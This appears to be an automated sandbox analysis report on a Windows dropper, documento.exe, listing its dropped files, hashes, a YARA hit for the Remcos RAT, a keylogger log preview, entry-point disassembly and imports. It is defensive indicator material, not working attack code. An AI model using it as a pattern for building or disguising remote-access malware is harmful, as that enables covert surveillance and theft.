Process:	C:\Users\user\Desktop\documento.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	541
Entropy (8bit):	4.233078036185589
Encrypted:	false
SSDEEP:	12:207ugGwsLDnF87kTJiB4V7SDjLWFk9LYO1JV87H68dGx+pSLWl:20igGJDnOATHSGkL71w7a8dJ
MD5:	87DA0589AA2102C1224D596AA149E56B
SHA1:	1E1CCE9146840B718221D8D69CB511A57AF9CCD9
SHA-256:	A4C9E26743D76D4B7D7C357DFABA14BC0EF918CE05BBC8472C1FE6E2CCB2392C
SHA-512:	04878E203A6D30CC6087A5781A4C8CB781B023938883BB7BF312FD504B70C9BF8256463112998D679C8A9686AF5C8D83DB840CB4913155D250A477DD7F8B2DE8
Malicious:	false
Preview:	scrams cocainist schizognathous montage nedskrivningstidspunkter drunks sceneteknikers charm diffuses dragonish lserettighederne..lyknsker konkluder cyclicality spaanskraberen kartoteksstyring antilabour sortebrdres,foraarssemestret inbond raaskitsen housewives alterable.foreskrive inspissation predine barderendes hootingly unpunishing unleading revolts unpennied idriftsttende fllesanlgget tailorizes..yverformer stroppens corallita dissensions.disenfranchisements skaalfrugterne cartooning unyttigere transfigurationen hairnet textronix.

C:\Users\user\AppData\Local\Temp\fb53bhiv.doo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\joefz3jg.x0w.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\k5sib43s.z3j.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\nxjimhd4.o1x.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\r5ifwb5w.l2g.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\rpm5w0gg.41f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\to21uc1n.hla.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\vdb0uukp.cx1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\xpryghvs.t4f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\11HJN6AE1PGM5W0V1Q92.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6045
Entropy (8bit):	3.587715453442456
Encrypted:	false
SSDEEP:	96:H/hQCEO4IzqvsqvJCwoseGi7UH3iKi7UHzic:H/ivoseG3iKzic
MD5:	1A143DF4846C44F7154551DE43C8FA1C
SHA1:	26DE82C863C4E79667B3B3F9D87F5EB95B6F9876
SHA-256:	368DA88C81659E9B73235E351F31F01408DBB15A7C5D3C26D9D809C65763818C
SHA-512:	9A4E5456F0E3A692B615FC5CF1FBCCFC58D7777BCC0336FACB11F7374822278F9A62035A6BEE84C6F8827B6E0D168A5B578AF3367ADEFDD9AAA4DD5DB4623489
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D................................................P.O. .:i.....+00.../C:\...................\.1......Xd.. PROGRA~3..D.......:...Xd....k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1......W.x. MICROS~1..@.......:...W.x...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......WC...Programs..f.......:...WC....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......W.v..WINDOW~1..R.......:.,.W.v.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2......W.v .WINDOW~2.LNK..Z.......:.,.W.v....]....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZONHH8O5SKF4P1ZUPDII.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6045
Entropy (8bit):	3.587715453442456
Encrypted:	false
SSDEEP:	96:H/hQCEO4IzqvsqvJCwoseGi7UH3iKi7UHzic:H/ivoseG3iKzic
MD5:	1A143DF4846C44F7154551DE43C8FA1C
SHA1:	26DE82C863C4E79667B3B3F9D87F5EB95B6F9876
SHA-256:	368DA88C81659E9B73235E351F31F01408DBB15A7C5D3C26D9D809C65763818C
SHA-512:	9A4E5456F0E3A692B615FC5CF1FBCCFC58D7777BCC0336FACB11F7374822278F9A62035A6BEE84C6F8827B6E0D168A5B578AF3367ADEFDD9AAA4DD5DB4623489
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D................................................P.O. .:i.....+00.../C:\...................\.1......Xd.. PROGRA~3..D.......:...Xd....k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1......W.x. MICROS~1..@.......:...W.x...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......WC...Programs..f.......:...WC....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......W.v..WINDOW~1..R.......:.,.W.v.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2......W.v .WINDOW~2.LNK..Z.......:.,.W.v....]....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6045
Entropy (8bit):	3.587715453442456
Encrypted:	false
SSDEEP:	96:H/hQCEO4IzqvsqvJCwoseGi7UH3iKi7UHzic:H/ivoseG3iKzic
MD5:	1A143DF4846C44F7154551DE43C8FA1C
SHA1:	26DE82C863C4E79667B3B3F9D87F5EB95B6F9876
SHA-256:	368DA88C81659E9B73235E351F31F01408DBB15A7C5D3C26D9D809C65763818C
SHA-512:	9A4E5456F0E3A692B615FC5CF1FBCCFC58D7777BCC0336FACB11F7374822278F9A62035A6BEE84C6F8827B6E0D168A5B578AF3367ADEFDD9AAA4DD5DB4623489
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D................................................P.O. .:i.....+00.../C:\...................\.1......Xd.. PROGRA~3..D.......:...Xd....k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1......W.x. MICROS~1..@.......:...W.x...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......WC...Programs..f.......:...WC....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......W.v..WINDOW~1..R.......:.,.W.v.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2......W.v .WINDOW~2.LNK..Z.......:.,.W.v....]....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF4b41c2.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6045
Entropy (8bit):	3.587715453442456
Encrypted:	false
SSDEEP:	96:H/hQCEO4IzqvsqvJCwoseGi7UH3iKi7UHzic:H/ivoseG3iKzic
MD5:	1A143DF4846C44F7154551DE43C8FA1C
SHA1:	26DE82C863C4E79667B3B3F9D87F5EB95B6F9876
SHA-256:	368DA88C81659E9B73235E351F31F01408DBB15A7C5D3C26D9D809C65763818C
SHA-512:	9A4E5456F0E3A692B615FC5CF1FBCCFC58D7777BCC0336FACB11F7374822278F9A62035A6BEE84C6F8827B6E0D168A5B578AF3367ADEFDD9AAA4DD5DB4623489
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D................................................P.O. .:i.....+00.../C:\...................\.1......Xd.. PROGRA~3..D.......:...Xd....k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1......W.x. MICROS~1..@.......:...W.x...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......WC...Programs..f.......:...WC....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......W.v..WINDOW~1..R.......:.,.W.v.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2......W.v .WINDOW~2.LNK..Z.......:.,.W.v....]....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\mqerms.dat

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	data
Category:	dropped
Size (bytes):	558
Entropy (8bit):	3.4899131529345313
Encrypted:	false
SSDEEP:	12:6l6Dec0WQw0kPe5BWYUNvsvXdw0kCMF+0kFW+:6QSc0WPd4BWYsvWmdj+dFW+
MD5:	FB5CA8E146E6ED90F7A02C6E70BB4888
SHA1:	C2EEF757F67403734D161792A8088FE6CA0C3C41
SHA-256:	61504F9A8F29A6EA79BA2A193708CE63045EA5F248DCE70ECA783E3503BA79F9
SHA-512:	A47044F301B216CDA80145943F9AF90C84E679A226C7371528801F792DCD55B548A61010563E4A92AF7C15F25C291C5623D115036FB3CA470EDBC81B52EE6BFF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\Users\user\AppData\Roaming\mqerms.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.5./.0.1. .1.8.:.2.6.:.4.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.].....[.W.i.n.].r.....[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.C.:.\.w.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1...0.\.p.o.w.e.r.s.h.e.l.l...e.x.e.].........[.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.].........[.A.d.m.i.n.i.s.t.r.a.t.o.r.:. .W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\Documents\Illoyalitet.ini

Download File

Process:	C:\Users\user\Desktop\documento.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.027719015921097
Encrypted:	false
SSDEEP:	3:VCHZRcY/dv:VCHZRcKt
MD5:	40ED5B8117EADCDE3752EC625327924B
SHA1:	68E109BDC088F9A20C4081661EB47618DF0838B2
SHA-256:	E6862EE9E8FA0B8FCC82CC21C62F46D8A7A80BB4CCF039E1119B5E322C17DE5A
SHA-512:	AD29FA5DC4BAD695B914356C83779B69C28167E8F7156564BB6C8FD5D4709E0BD6CE2D85F914F4BE7B81BF64E584D53033B82748039840047FA2800EB9AE9673
Malicious:	false
Preview:	[fagbogens]..tmesis=unguidableness..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.013506782930841
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	documento.exe
File size:	833'309 bytes
MD5:	518c32edf768d3be4f268071e0722a0f
SHA1:	2f606e59b3900154094978a3c2dcc16a7addfd55
SHA256:	e7092eb28dc769559d0d9db50ef39b664ae5ec4ba76ac580c11dfbfa1c426290
SHA512:	b1ac6888caa22657fb0e2d44016186075cde37e3cf65a1ecce396eb04270900d9cd49c06b1a025215bb8ba134e22f9623549cd73e7896591d16769e8d201be3d
SSDEEP:	24576:H7/jxjjtjj9JIvxV7kVTwRLRRFHkW7C41jRPx:bhGvX45wRLNl1jRPx
TLSH:	4405E077F94085E0EC2E4E738A1FD57857257C274E48A64B71A8BB0EAFB6703181BC46
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG._...PG..PF.IPG._...PG..sw..PG..VA..PG.Rich.PG.........PE..L...p..V.................^...........0.......p....@

File Icon


Icon Hash:	020035645d190103

Static PE Info

General

Entrypoint:	0x4030d9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F8470 [Sun Dec 27 06:25:52 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	076b06e6a65c9b7cca5a61be0cd82165

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 004091B0h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A4h]
call dword ptr [004070A0h]
cmp ax, 00000006h
je 00007FA408918FA3h
push ebx
call 00007FA40891BF11h
cmp eax, ebx
je 00007FA408918F99h
push 00000C00h
call eax
push ebp
push 004091A8h
call 00007FA40891BE91h
push 004091A0h
call 00007FA40891BE87h
push 00409194h
call 00007FA40891BE7Dh
push 00000009h
call 00007FA40891BEE0h
push 00000007h
call 00007FA40891BED9h
mov dword ptr [00423724h], eax
call dword ptr [0040703Ch]
push ebx
call dword ptr [0040728Ch]
mov dword ptr [004237D8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECE0h
call dword ptr [00407178h]
push 00409188h
push 00422F20h
call 00007FA40891BB07h
call dword ptr [0040709Ch]
mov ebp, 00429000h
push eax
push ebp
call 00007FA40891BAF5h
push ebx
call dword ptr [00000058h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73e0	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x74258	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x29c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c5b	0x5e00	25f20353ff4dab35a62d1661fd51d448	False	0.6599900265957447	data	6.415883806471021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1212	0x1400	a99dc6e1e9123b9d8eb17a3b16908620	False	0.4169921875	data	4.933902523070607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a818	0x400	c329e2dbf8e92aedf63262846de2292b	False	0.6552734375	data	5.219575463223351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x34000	0x74258	0x74400	202599d69fcb7c01c5477f096da78c2a	False	0.2838079637096774	data	3.8544748251180585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x34598	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.23073793531970294
RT_ICON	0x765c0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.29760144327457705
RT_ICON	0x86de8	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.35447761194029853
RT_ICON	0x90290	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.3587593984962406
RT_ICON	0x96a78	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.37975970425138633
RT_ICON	0x9bf00	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.3780703826169107
RT_ICON	0xa0128	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4371369294605809
RT_ICON	0xa26d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4866322701688555
RT_ICON	0xa3778	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5205223880597015
RT_ICON	0xa4620	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5594262295081968
RT_ICON	0xa4fa8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6768953068592057
RT_ICON	0xa5850	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.5950460829493087
RT_ICON	0xa5f18	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.35
RT_ICON	0xa6580	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.40895953757225434
RT_ICON	0xa6ae8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6471631205673759
RT_ICON	0xa6f50	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.4650537634408602
RT_ICON	0xa7238	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.5184426229508197
RT_ICON	0xa7420	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 128	English	United States	0.6644736842105263
RT_ICON	0xa7550	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5675675675675675
RT_ICON	0xa7678	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 64	English	United States	0.6420454545454546
RT_DIALOG	0xa7728	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa7828	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xa7948	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa7a10	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa7a70	0x11e	data	English	United States	0.5804195804195804
RT_VERSION	0xa7b90	0x29c	data	English	United States	0.48353293413173654
RT_MANIFEST	0xa7e30	0x424	XML 1.0 document, ASCII text, with very long lines (1060), with no line terminators	English	United States	0.5132075471698113

Imports

DLL	Import
KERNEL32.dll	Sleep, SetFileAttributesA, GetFileAttributesA, GetTickCount, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileSize, ExitProcess, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, GetVersion, SetErrorMode, lstrlenA, lstrcpynA, ExpandEnvironmentStringsA, SetEnvironmentVariableA, GetFullPathNameA, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, LoadLibraryA, GetProcAddress, lstrcmpiA, lstrcmpA, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, CloseHandle, SetFileTime, GlobalLock, GetDiskFreeSpaceA, GlobalUnlock, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, MulDiv, WritePrivateProfileStringA, FreeLibrary, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	GetSystemMenu, SetClassLongA, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, ScreenToClient, GetWindowRect, GetDlgItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, LoadImageA, CreateDialogParamA, SetTimer, SetWindowTextA, SetWindowLongA, SetForegroundWindow, ShowWindow, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, DrawTextA, EndPaint, DestroyWindow, wsprintfA, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
